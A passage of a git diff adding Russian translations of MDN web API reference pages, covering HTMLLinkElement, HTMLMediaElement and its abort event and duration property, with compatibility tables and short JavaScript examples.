+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Поддержка <code>selectionDirection</code> была добавлена Blink в {{WebkitBug("60403")}}.</p>
+
+<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдает исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p>
+
+<p>[2] Поддержка <code>selectionDirection</code> была добавлена в Gecko в {{bug("674558")}}.</p>
+
+<p>[3] Поддержка <code>selectionDirection</code> была добавлена в Webkit в {{WebKitBug("60403")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{domxref("HTMLInputElement")}}</li>
+ <li>{{domxref("Selection")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmllinkelement/index.html b/files/ru/web/api/htmllinkelement/index.html
new file mode 100644
index 0000000000..6b75f0682a
--- /dev/null
+++ b/files/ru/web/api/htmllinkelement/index.html
@@ -0,0 +1,118 @@
+---
+title: HTMLLinkElement
+slug: Web/API/HTMLLinkElement
+translation_of: Web/API/HTMLLinkElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLLinkElement</code></strong> представляет справочную информацию для внешних ресурсов и отношение этих ресурсов к документу и наоборот (соответствует элементу <code><a href="/ru/docs/Web/HTML/Element/link">&lt;link&gt;</a></code>; не путать с <code><a href="/ru/docs/Web/HTML/Element/a">&lt;a&gt;</a></code>, который представлен элементом <code><a href="/ru/docs/Web/API/HTMLAnchorElement">HTMLAnchorElement</a></code>). Этот объект наследует все свойства и методы интерфейса {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}, и {{domxref("LinkStyle")}}.</em></p>
+
+<dl>
+ <dt></dt>
+ <dt>{{domxref("HTMLLinkElement.as")}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющий тип контента загружаемый по HTML ссылке.</dd>
+ <dt>{{domxref("HTMLLinkElement.crossOrigin")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that corresponds to the CORS setting for this link element. See <a href="/ru/docs/HTML/CORS_settings_attributes" title="HTML/CORS settings attributes">CORS settings attributes</a> for details.</dd>
+ <dt>{{domxref("HTMLLinkElement.disabled")}}</dt>
+ <dd>Is a <code>Boolean</code> which represents whether the link is disabled; currently only used with style sheet links.</dd>
+ <dt>{{domxref("HTMLLinkElement.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the URI for the target resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.hreflang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language code for the linked resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.media")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing a list of one or more media formats to which the resource applies.</dd>
+ <dt>{{domxref("HTMLLinkElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "link")}} HTML attribute indicating which referrer to use.</dd>
+ <dt>{{domxref("HTMLLinkElement.rel")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the forward relationship of the linked resource from the document to the resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.relList")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMTokenList")}} that reflects the {{htmlattrxref("rel", "link")}} HTML attribute, as a list of tokens.</dd>
+ <dt>{{domxref("HTMLLinkElement.sizes")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sizes", "link")}} HTML attribute, as a list of tokens.</dd>
+ <dt>{{domxref("LinkStyle.sheet")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("StyleSheet")}} object associated with the given element, or <code>null</code> if there is none.</dd>
+ <dt>{{domxref("HTMLLinkElement.type")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the MIME type of the linked resource.</dd>
+</dl>
+
+<h3 id="Устаревшие_свойства">Устаревшие свойства</h3>
+
+<dl>
+ <dt>{{domxref("HTMLLinkElement.charset")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the character encoding for the target resource.</dd>
+ <dt>{{domxref("HTMLLinkElement.rev")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the reverse relationship of the linked resource from the resource to the document.
+ <div class="note"><strong>Примечание</strong>: Currently the W3C HTML 5.2 spec states that <code>rev</code> is no longer obsolete, whereas the WHATWG living standard still has it labeled obsolete. Until this discrepancy is resolved, you should still assume it is obsolete.</div>
+ </dd>
+ <dt>{{domxref("HTMLLinkElement.target")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the name of the target frame to which the resource applies.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет методов; наследует методы от своего родителя, {{domxref("HTMLElement")}}</em><em>, и {{domxref("LinkStyle")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Preload")}}</td>
+   <td>{{Spec2("Preload")}}</td>
+   <td>Defines <code>&lt;link rel="preload"&gt;</code>, and the <code>as</code> property. Note that currently Firefox only supports preloading of cacheable resources.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmllinkelement", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the following properties: <code>crossOrigin</code>, <code>referrerPolicy</code>, and <code>as</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-link-element", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-link-element", "HTMLLinkElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties are now obsolete: <code>charset</code>, <code>rev</code>, and <code>shape</code>.<br>
+    The following properties have been added: <code>relList</code>, and <code>sizes</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-35143001', 'HTMLLinkElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Added a second inheritence, the {{domxref("LinkStyle")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-35143001', 'HTMLLinkElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLLinkElement")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий этот интерфейс: {{HTMLElement("link")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/abort_event/index.html b/files/ru/web/api/htmlmediaelement/abort_event/index.html
new file mode 100644
index 0000000000..80743cabc6
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/abort_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: abort event'
+slug: Web/API/HTMLMediaElement/abort_event
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>abort</code></strong> запускается, когда ресурс не был полностью загружен, но не в результате ошибки.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплываемость</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемость</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>{{domxref("GlobalEventHandlers/onabort", "onabort")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('abort', () =&gt; {
+  console.log(`Abort loading: ${videoSrc}`);
+});
+
+const source = document.createElement('source');
+source.setAttribute('src', videoSrc);
+source.setAttribute('type', 'video/webm');
+
+video.appendChild(source);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "media.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.HTMLMediaElement.abort_event")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html
new file mode 100644
index 0000000000..ec667078a9
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/duration/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLMediaElement.duration
+slug: Web/API/HTMLMediaElement/duration
+translation_of: Web/API/HTMLMediaElement/duration
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLMediaElement.duration</code></strong> свойство возвращает длину медиа в секундах или ноль, если данные по медиа недоступны.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">var <em>myDuration</em> = <em>audioOrVideo</em>.duration</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определенной длины, значение равно <code>Inf</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var obj = document.createElement('video');
+console.log(obj.duration); // NaN
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-media-duration", "HTMLMediaElement.duration")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.duration")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.duration")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLMediaElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..f5524d3040
--- /dev/null
+++ b/files/ru/web/api/htmlmediaelement/index.html
@@ -0,0 +1,294 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+tags:
+  - API
+  - DOM
+  - HTML
+  - HTMLMediaElement
+  - Media
+  - NeedsNewLayout
+  - NeedsTranslation
+  - TopicStub
+  - Интерфейс
+  - Ссылка
+translation_of: Web/API/HTMLMediaElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Интерфейс HTMLMediaElement добавляет к {{domxref ("HTMLElement")}} свойства и методы, необходимые для поддержки базовых мультимедийных возможностей, общих для аудио и видео. Элементы {{domxref ("HTMLVideoElement")}} и {{domxref ("HTMLAudioElement")}} наследуют этот интерфейс.</span></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>{{Domxref ("AudioTrackList")}}, в котором перечислены объекты {{domxref ("AudioTrack")}}, содержащиеся в элементе.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>{{Jsxref ("Boolean")}}, который отражает атрибут HTML {{htmlattrxref ("autoplay", "video")}}, указывающий, должно ли воспроизведение начинаться автоматически, как только будет доступно достаточно медиафайлов, чтобы сделать это без прерывания.
+ <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить ее (требуется, чтобы пользователь специально включил ее). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ("TimeRanges")}}, который указывает диапазоны медиаисточника, который браузер буферизировал (если есть) в момент обращения к свойству <code>buffered</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>Объект {{domxref ("MediaController")}}, представляющий медиа-контроллер, назначенный элементу, либо <code>null</code>, если ни один не назначен.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("controls", "video")}}, указывающий, должны ли отображаться элементы пользовательского интерфейса для управления ресурсом.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трех возможных значений: nodownload, nofullscreen и noremoteplayback.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>{{Domxref ("DOMString")}}, указывающий настройку CORS для этого медиаэлемента.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}} с абсолютным URL-адресом выбранного медиа-ресурса.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>Двойное значение, обозначающее текущее время воспроизведения в секундах. Установка этого значения ищет носитель в новое время.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("muted", "video")}}, который указывает, должен ли звук вывода медиа-элемента по умолчанию отключаться.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>Двойное значение, обозначающее скорость воспроизведения по умолчанию для мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удаленного воспроизведения, указывая, разрешено ли медиаэлементу иметь удаленный пользовательский интерфейс воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение типа double, указывающее длину носителя в секундах, или 0, если данные носителя отсутствуют.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, закончил ли воспроизведение медиа-элемент.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ("MediaError")}} для самой последней ошибки или <code>null</code>, если ошибки не было.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("loop", "video")}}, который указывает, должен ли медиа-элемент начинаться сначала, когда он достигает конца.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("mediagroup", "video")}}, который указывает имя группы элементов, к которой он принадлежит. Группа медиа-элементов имеет общий {{domxref ('MediaController')}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Возвращает объект {{domxref ("MediaKeys")}} или ноль. MediaKeys - это набор ключей, которые связанный HTMLMediaElement может использовать для дешифрования мультимедийных данных во время воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}. Связанный с захватом аудиопотока.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>Двойник, обеспечивающий доступ к времени окончания фрагмента, если медиа-элемент имеет URI-фрагмент для currentSrc, в противном случае он равен продолжительности медиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Это unsigned long, который указывает число выборок, которые будут возвращены в кадровом буфере каждого события MozAudioAvailable. Это число является общим для всех каналов, и по умолчанию установлено количество каналов * 1024 (например, 2 канала * 1024 выборок = всего 2048).</p>
+
+ <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объемов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает двойное число, представляющее количество семплов в секунду, которые будут воспроизведены. Например, 44100 выборок в секунду - это частота дискретизации, используемая аудио CD.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>{{Jsxref ('Boolean')}}, определяющий, отключен ли звук. true, если звук отключен, и false в противном случае.</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>Возвращает unsigned short (перечисление), указывающее текущее состояние выборки мультимедиа по сети.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, приостановлен ли медиа-элемент.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>Двойное число, указывающее скорость воспроизведения мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ('TimeRanges')}}, который содержит диапазоны медиаисточников, которые воспроизводил браузер, если таковые имеются.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("preload", "video")}}, указывающий, какие данные должны быть предварительно загружены, если таковые имеются. Возможные значения: <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который определяет, будет ли сохранена высота звука. Если установлено значение false, высота звука будет регулироваться в зависимости от скорости звука. Это реализовано с помощью префиксов в Firefox (mozPreservedPitch) и WebKit (webkitPreservedPitch).</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <code>unsigned short</code> (перечисление), указывающее состояние готовности носителя.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ('TimeRanges')}}, который содержит временные диапазоны, к которым пользователь может обращаться, если таковые имеются.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, находится ли медиа в процессе поиска новой позиции.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, который является уникальным идентификатором аудиоустройства, предоставляющего выходные данные, или пустую строку, если используется пользовательский агент по умолчанию. Этот идентификатор должен быть одним из значений MediaDeviceInfo.deviceid, возвращаемых из {{domxref ("MediaDevices.enumerateDevices ()")}}, id-multimedia или id-communications.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("src", "video")}}, который содержит URL-адрес используемого медиа-ресурса.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведенный в текущем HTMLMediaElement, или null, если не назначен.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>Возвращает список объектов {{domxref ("TextTrack")}}, содержащихся в элементе.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>Возвращает список объектов {{domxref ("VideoTrack")}}, содержащихся в элементе.
+ <div class="note">
+ <p>Gecko поддерживает воспроизведение только одной дорожки, а разбор метаданных дорожек доступен только для носителей с форматом контейнера Ogg.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>Двойной показатель громкости звука, от 0,0 (тихий) до 1,0 (самый громкий).</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>Устанавливает {{domxref ('Event Handler')}}, вызываемый, когда носитель зашифрован.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>Устанавливает {{domxref ('EventHandler')}}, вызываемый, когда воспроизведение заблокировано во время ожидания ключа шифрования.</dd>
+</dl>
+
+<h2 id="Устаревшие_атрибуты">Устаревшие атрибуты</h2>
+
+<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возвращает значение типа double, указывающее начальную позицию воспроизведения в секундах.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает значение типа double, представляющее количество каналов в аудиоресурсе (например, 2 для стерео).</dd>
+</dl>
+
+<h3 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Устанавливает {{domxref ("EventHandler")}}, вызываемый, когда медиа-элемент прерывается из-за менеджера аудио-каналов. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Устанавливает {{domxref ('Event Handler')}}, вызываемый при завершении прерывания. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>Добавляет текстовую дорожку (например, дорожку для субтитров) к элементу мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref ("MediaStream")}}, захватывает поток медиа-контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>Определяет, может ли указанный тип носителя воспроизводиться.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>Прямо стремится к данному времени.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>Сбрасывает носитель в начало и выбирает наилучший из доступных источников из источников, предоставленных с использованием атрибута {{htmlattrxref ("src", "video")}} или элемента {{HTMLElement ("source")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[введите описание]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[введите описание]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{jsxref ('Object')}}, который содержит свойства, которые представляют метаданные из воспроизводимого медиаресурса в виде пар {key: value}. Отдельная копия данных возвращается каждый раз, когда вызывается метод. Этот метод должен вызываться после возникновения события загруженных метаданных.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>Пауза воспроизведения мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>Начинается воспроизведение мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>Стремится к следующему кадру в медиа. Этот нестандартный экспериментальный метод позволяет вручную управлять считыванием и воспроизведением мультимедиа с настраиваемой скоростью или перемещаться по мультимедиа покадрово для выполнения фильтрации или других операций.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{jsxref ("Обещание")}}. Устанавливает клавиши {{domxref ("MediaKeys")}}, используемые при дешифровании медиафайлов во время воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>Устанавливает идентификатор аудиоустройства, которое будет использоваться для вывода, и возвращает {{jsxref ("Promise")}}. Это работает только тогда, когда приложение имеет право использовать указанное устройство.</dd>
+</dl>
+
+<h2 id="Устаревшие_методы">Устаревшие методы</h2>
+
+<p>Эти методы устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
